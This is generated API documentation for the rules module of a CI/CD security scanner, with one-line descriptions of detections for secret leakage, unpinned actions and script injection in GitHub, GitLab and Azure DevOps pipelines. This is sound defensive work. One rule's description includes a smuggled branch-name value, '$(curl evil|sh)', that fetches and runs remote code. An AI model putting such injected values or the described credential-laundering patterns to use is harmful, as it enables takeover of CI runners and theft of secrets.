Skip to main content

Module rules

Module rules 

Source

Functions§

addspn_with_inline_script
Rule: AzureCLI@2 task with addSpnToEnvironment: true AND an inline script body. The inline script can launder federated SPN material ($env:idToken, $env:servicePrincipalKey, $env:tenantId) into normal pipeline variables via ##vso[task.setvariable], leaking OIDC tokens to downstream tasks/artifacts un-masked.
artifact_boundary_crossing
MVP Rule 5: Artifact produced by privileged step consumed across trust boundary.
authority_cycle
Rule: circular DelegatesTo chain — workflow calls itself transitively.
authority_propagation
MVP Rule 1: Authority (secret/identity) propagated across a trust boundary.
cache_key_crosses_trust_boundary
Rule: cache_key_crosses_trust_boundary (Medium, Supply Chain).
check_homoglyph_in_action_ref
Rule G2: action reference contains non-ASCII characters (possible homoglyph).
checkout_self_pr_exposure
Rule: PR-triggered pipeline performs a self checkout.
child_pipeline_trigger_inherits_authority
Rule: child_pipeline_trigger_inherits_authority (Medium, Propagation).
ci_job_token_to_external_api
Rule: $CI_JOB_TOKEN (the GitLab platform-injected job token, broad scope by default — registry write, package upload, project read) used as a bearer credential against an external HTTP endpoint, or fed to docker login for registry.gitlab.com.
ci_token_triggers_downstream_with_variable_passthrough
Rule: a CI script triggers a different project’s pipeline via the GitLab REST API using CI_JOB_TOKEN and forwards variables via the variables[KEY]=value query/form parameter. Cross-project authority bridge — the downstream project’s security depends on the trust contract between the two projects, and variable values flowing across that boundary may originate from MR/fork context the attacker controls.
cross_workflow_authority_chain
Rule: authority (secret/identity) flows into an opaque external workflow via DelegatesTo.
dind_service_grants_host_authority
Rule: dind_service_grants_host_authority (High, Privilege).
dotenv_artifact_flows_to_privileged_deployment
Rule: a job emits an artifacts.reports.dotenv: <file> artifact whose contents become pipeline variables for any consumer linked via needs: or dependencies:. A consumer in a later stage that targets a production-named environment inherits those variables transparently. Producer-side risk amplifies when the script reads attacker-influenced inputs (CI_COMMIT_REF_NAME, CI_MERGE_REQUEST_SOURCE_BRANCH_NAME, CI_COMMIT_TAG, branch/commit derived strings).
floating_image
Tier 6 Rule: Container image without Docker digest pinning.
gh_cli_with_default_token_escalating
R10 — gh / gh api runtime escalation with the default GITHUB_TOKEN.
gitlab_deploy_job_missing_protected_branch_only
Rule: GitLab job with a production-named environment: binding has no rules: / only: clause restricting it to protected branches. The job runs (or attempts to run) on every pipeline trigger; if branch protection is later relaxed the deploy becomes runnable from unprotected branches without any code change.
id_token_audience_overscoped
Rule: GitLab id_tokens: audience reused across MR-context and protected-context jobs in the same file (no audience separation), or set to a wildcard / multi-cloud broker URL, or shared with a secrets: Vault path that the consuming job doesn’t need.
interactive_debug_action_in_authority_workflow
R5 — interactive debug action in an authority workflow.
keyvault_secret_to_plaintext
Rule: PowerShell pulls a Key Vault secret as plaintext inside an inline script. The value never crosses the ADO variable-group boundary so pipeline log masking does not apply — verbose Az / PowerShell logging (Set-PSDebug -Trace, $VerbosePreference = "Continue", error stack traces) will print the cleartext credential.
long_lived_credential
Stretch Rule 9: Secret name matches known long-lived/static credential pattern.
long_lived_secret_without_oidc_recommendation
Rule: long-lived static credential in scope but the graph has no OIDC identity. Advisory uplift on top of long_lived_credential that wires the existing Recommendation::FederateIdentity variant — emits one Info finding per static credential whose name suggests a cloud provider that supports OIDC (AWS / GCP / Azure).
manual_dispatch_input_to_url_or_command
Rule: a workflow_dispatch.inputs.* value flows into a command sink (curl, wget, gh api, git clone, …) or actions/checkout with.ref:.
no_workflow_level_permissions_block
Rule: GHA workflow declares no top-level permissions: block AND no per-job permissions block. With nothing declared, GITHUB_TOKEN falls back to the broad platform default (contents: write, packages: write, metadata read, etc.) on every trigger. Explicit declarations make the blast radius legible to the next reviewer; absence makes it invisible.
over_privileged_identity
MVP Rule 2: Identity scope broader than actual usage.
parameter_interpolation_into_shell
Rule: free-form type: string parameter (no values: allowlist) interpolated via ${{ parameters.<name> }} directly into an inline shell/PowerShell script body. ADO does not escape parameter values in YAML emission, so any user with “queue build” can inject shell.
pat_embedded_in_git_remote_url
Rule: a CI script body constructs an HTTPS git URL with credentials embedded directly in the URL (https://user:$TOKEN@host/...) and invokes git against it (git clone, git push, git remote set-url, git fetch, git ls-remote).
persisted_credential
Stretch Rule: checkout step with persistCredentials: true writes credentials to disk.
pr_build_pushes_image_with_floating_credentials
Rule: PR-triggered workflow uses a non-SHA-pinned container-registry login action. Compound vector: floating action holds registry creds + PR-controlled image content reaches a shared registry.
pr_specific_cache_key_in_default_branch_consumer
R9 — PR-specific cache key in a default-branch consumer.
pr_trigger_with_floating_action_ref
Rule: privileged PR-class trigger combined with a non-SHA-pinned action ref.
prod_deploy_job_no_environment_gate
Rule: ADO job referencing a production-named service connection has no environment: binding. Strictly broader than terraform_auto_approve_in_prod — fires on any prod-SC step (Terraform, ARM, AzureCLI, AzurePowerShell, custom) whose enclosing job lacks the approval gate, regardless of whether -auto-approve is set.
pull_request_workflow_inconsistent_fork_check
Rule: GHA workflow with multiple privileged jobs where SOME steps carry the standard fork-check if: and OTHERS do not — intra-file inconsistency in defensive posture. The org has the right instinct (some jobs are guarded) but applied it unevenly. Surfaces the unguarded privileged jobs by name so a reviewer can fix the gap in one PR.
risky_trigger_with_authority
Rule: high-blast-radius trigger (issue_comment, pull_request_review[_comment], workflow_run) declared alongside write-grant permissions or any non-GITHUB_TOKEN secret.
run_all_rules
runtime_script_fetched_from_floating_url
Rule: a run: step pipes a remotely-fetched script into a shell, where the URL is pinned to a mutable branch ref. The remote host’s branch tip becomes a write-anywhere primitive on the runner.
script_injection_via_untrusted_context
R1 — script injection via untrusted context.
secret_materialised_to_workspace_file
Rule: pipeline secret materialised to a file under the agent workspace.
secret_to_inline_script_env_export
Rule: pipeline secret exported via shell variable inside an inline script.
secret_via_env_gate_to_untrusted_consumer
Rule: secret laundered through $GITHUB_ENV reaches an untrusted consumer in the same job — composition gap between self_mutating_pipeline (the gate-write detector) and untrusted_with_authority (the direct-access detector).
secrets_inherit_overscoped_passthrough
Rule: reusable workflow call uses secrets: inherit under a risky trigger.
security_job_silently_skipped
Rule: security_job_silently_skipped (Medium, Configuration).
self_hosted_pool_pr_hijack
Rule: self-hosted agent pool used by a PR-triggered pipeline that also checks out the repo.
self_mutating_pipeline
Rule: step writes to the environment gate ($GITHUB_ENV / ##vso[task.setvariable]).
sensitive_value_in_job_output
Rule: a jobs.<id>.outputs.<name> value is sourced from secrets.*, an OIDC-bearing step output, or has a credential-shaped name (suffix matches _token / _secret / _key / _pem / _password / _credential[s] / _api_key).
service_connection_scope_mismatch
Rule: ADO service connection with broad/unknown scope and no OIDC federation, reachable from a PR-triggered job.
setvariable_issecret_false
Rule: ADO ##vso[task.setvariable] with a sensitive-named variable that omits issecret=true (either issecret=false or no issecret flag at all). Without the flag the variable value is printed in plaintext to the pipeline log and is not masked in downstream step output.
shared_self_hosted_pool_no_isolation
Rule G1: ADO self-hosted pool without workspace isolation.
short_lived_sas_in_command_line
Rule: a SAS token minted in-pipeline is passed as a CLI argument or interpolated into commandToExecute / scriptArguments / --arguments / -ArgumentList rather than via env var or stdin.
template_extends_unpinned_branch
ADO-only rule: a resources.repositories[] entry resolves against a mutable target — no ref: field (default branch) or refs/heads/<x> without a SHA. Whoever owns that branch can inject steps into every consuming pipeline at the next run.
template_repo_ref_is_feature_branch
ADO-only rule: a resources.repositories[] entry pins to a feature-class branch — anything outside the platform-blessed set (main, master, release/*, hotfix/*).
terraform_auto_approve_in_prod
Rule: terraform apply -auto-approve against a production service connection without an environment approval gate.
terraform_output_via_setvariable_shell_expansion
Rule: ADO terraform-output → task.setvariable → downstream shell expansion, a 2-step injection chain.
trigger_context_mismatch
Rule: dangerous trigger type (pull_request_target / pr) combined with secret/identity access.
unpinned_action
MVP Rule 3: Third-party action/image without SHA pin.
unpinned_include_remote_or_branch_ref
Rule: unpinned_include_remote_or_branch_ref (High, Supply Chain).
unsafe_pr_artifact_in_workflow_run_consumer
Rule: workflow_run/pull_request_target consumer downloads a PR-context artifact AND interprets its content into a privileged sink.
untrusted_api_response_to_env_sink
Rule: workflow_run-triggered workflow writes an API response value to the GHA environment gate. Branch name / PR title in the response can carry newline-injected env-var assignments.
untrusted_ci_var_in_shell_interpolation
Rule: untrusted GitLab predefined variable interpolated unquoted into a shell context (script: / before_script: / after_script: / environment:url:). A branch named $(curl evil|sh) then runs as part of the runner.
untrusted_with_authority
MVP Rule 4: Untrusted step has direct access to secret/identity.
uplift_without_attestation
Rule: privileged workflow (OIDC/federated identity) with no provenance attestation step.
variable_group_in_pr_job
Rule: ADO variable group consumed by a PR-triggered job.
vm_remote_exec_via_pipeline_secret
Rule: pipeline step uses an Azure VM remote-execution primitive (Set-AzVMExtension/CustomScriptExtension, Invoke-AzVMRunCommand, az vm run-command invoke, az vm extension set) where the executed command line is constructed from a pipeline secret or a freshly-minted SAS token.